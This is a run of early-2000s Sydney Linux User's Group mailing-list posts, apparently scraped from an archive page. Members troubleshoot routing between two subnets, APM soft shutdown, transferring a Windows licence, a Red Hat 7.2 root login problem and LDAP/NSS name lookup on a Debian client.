Re: [SLUG] small network w/ linux box as hub
Becuase they are on the same subnet, (192.168.0.0, I'm guessing your netmask is 255.255.255.0), each windows computer doesn't think it should have to go via the linux router (default gw) to get to the other, hence it is failing. If you eth0=192.168.0.1, windows1=192.168.0.2 (or anything 255), windows1 default gw=192.168.0.1, and eth1=192.168.1.1 windows2=192.168.1.x (likewise 1x255), windows2 default gw=192.168.1.1, then adjust the routing table on the linux box to suit, then you should have more sucess. Make sure that the netmask for all of these is 255.255.255.0. The reason is that now the windows computers will think they are different subnets, and know to go via the default gw to reach them. If you want to learn more about that, there should be a tcp subnetting tutorial somewhere on the web you can read up on. Good luck, Rob.

I have currently got the linux box able to ping both windows machines (and them able to ping it) by adding the windows machines to /etc/hosts, and adding direct routes to them on the routing table. However, neither windows machine can ping the other. /proc/sys/net/ipv4/ip_forward is set to 1, and I have fiddled with the options in netconf (the networking subpart of linuxconf)'s routing section (the same app I used to add the direct routes to the routing table) to attempt to get my machine to be able to forward packets. I have also looked at netcfg but no joy there. The network is set up as follows: linux box (RedHat 7.2 (more or less stock install)): eth0 = 192.168.0.1 eth1 = 192.168.0.3 windows1: 192.168.0.2 (connected to 192.168.0.1) windows 2: 192.168.0.4 (connected to 192.168.0.3) and the routing table looks like windows1 192.168.0.1 255.255.255.255 UGH 0 0 0 eth0 windows2 192.168.0.3 255.255.255.255 UGH 0 0 0 eth1 127.0.0.0 * 255.0.0.0 U 0 0 0 lo both of the windows machines have the correct default gateways installed. I'm probably missing something really obvious here, but I've tried pretty much every combination of options in netconf's routing section, and I'm damned if I can think of anything else that I should do. If anyone can see anything obviously wrong here please put me out of my misery and let me know, or if you could point me in the right direction that'd be much appreciated too.

Re: [SLUG] How to soft-shutdown my computer ?
If the power management isn't compiled in, maybe RedHat have made it a
module. If they have, it will be called apm, so you can load it with
modprobe apm. Then try the shutdown -h now.

Try

It alld epends on power management being compiled into the kernel, from
memory. If it's there, soft shutdown will work {assuming the hardware is
capable of it, which not all hardware is}.

As I understand it, the doze license is that magic little hologram. If you have possesion of that you own the license, if you do not then you don't own it and it is a pirate copy and you can be subject to persecution :-}. You can legally give away or sell this license because you have paid for it and it is your license to use the software, the cost may have been in your hardware but you still paid for it. M$ cannot stop you from doing this. The same as the manufacturer can stop you selling the video card out of the computer when you upgrade your video card to a new one. According to the computing unit at UNSW: All Microsoft Operating System licences, including upgrade licences, are tied to the machine on which they are first installed and clients may not transfer the operating system licences from the original machine to a different machine. The Microsoft definition of a machine is a complete PC including a hard drive. Note you wouldn't need a new licence if you only upgraded [the] hard disk. If a major upgrade was undertaken, i.e., hard disk, CPU, graphics, etc., then you'd need a new licence. (end of quote) Two clauses from the NT 4 Workstation EULA: Single COMPUTER.

So, as far as I can tell, no you can't legally sell or give away the windows license you have, unless you give or sell the computer that it belongs on as well - and you can't get a new computer, wipe windows off your old one, and reinstall it on the new one. I think it stinks, but this is what everyone is agreeing to with Windows. Regards, Rob. -- SLUG - Sydney Linux User's Group - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
Re: [SLUG] Login Problems - Redhat 7.2 [Longish]
To fix it for now, you can remove the x in the passwd file for root, root:x:0:0:... becomes root::0:0:. This will give you NO root password. You could then try logging in and running passwd to create a new one. Or you can put the hash into /etc/passwd directly, not shadow, instead of where the x is: root:(hash goes here):0:0:...

No prompt for password nor a error message (nor a successful login). Yes, there is a root user account, and a password.

I had a similar problem with RH 7.2 - one of the accounts I created couldn't login. A friend told me that the old-style crypt password stuff had been broken, and that the easiest thing to do was to change over to the newer-style passwords. (Old style has 8 character maximum significance, newer style has much more.) Sorry I can't remember any more details than that. Did you choose the older style of password when you installed? If you did, it's probably that. (For me, 2 out of the 3 accounts could login, and one couldn't.) I also had that problem after forcing the install of a whole set of corrupted rpm files. That caused one of the NIS libraries to make programs like login dump core. In fact, that was what led me to install 7.2 - I'd just trashed my 7.1 system. (I lost no user or /etc files though, since /home was on a separate partition, as was /usr/local, and I copied off /etc before doing the install.) luke -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Troubles with LDAP and NSS
Hi everyone, After the recent discussions about LDAP, I thought I would give setting up openldap a go over the weekend. I managed to install it and get it set up, and I can now log in from a debian client using the account/password stored in the ldap server. I installed the libnss-ldap deb package on the client and setup ldap for the passwd, group and shadow settings in /etc/nsswitch.conf. For the moment I'm not using nscd. However, its now when I've run into trouble. I have an ldap user, rob2, uid 1502 in the ldap server, and a directory owned by them in the file system. As root I can do the following: phobos:/mnt# ls -ld /home/rob2 drwxr-xr-x 11 rob2 1502 512 Jul 4 2001 /home/rob2 phobos:/mnt# (don't worry about the gid, I haven't set up an ldap group yet). This information is coming from the ldap server, and I can see the connection in the ldap server log. But when I try it as a local, non-privileged user (local = exists in /etc/passwd), it doesn't resolve: rob@phobos:~$ ls -ld /home/rob2 drwxr-xr-x 11 1502 1502 512 Jul 4 2001 /home/rob2 rob@phobos:~$ And, I can log in as my rob2 user, using the password stored in the ldap server, but names dont' resolve either: I have no name!@phobos:~$ ls -ld /home/rob2 drwxr-xr-x 11 1502 1502 512 Jul 4 2001 /home/rob2 I have no name!@phobos:~$ In the last two cases, the ls -l does not even try and connect to the ldap server (according to the server logs). I'm not using SSL/TLS yet, and the ACLs are wide open at the moment. Has anyone seen this sort of behaviour before, or can give me any ideas as to what's wrong?
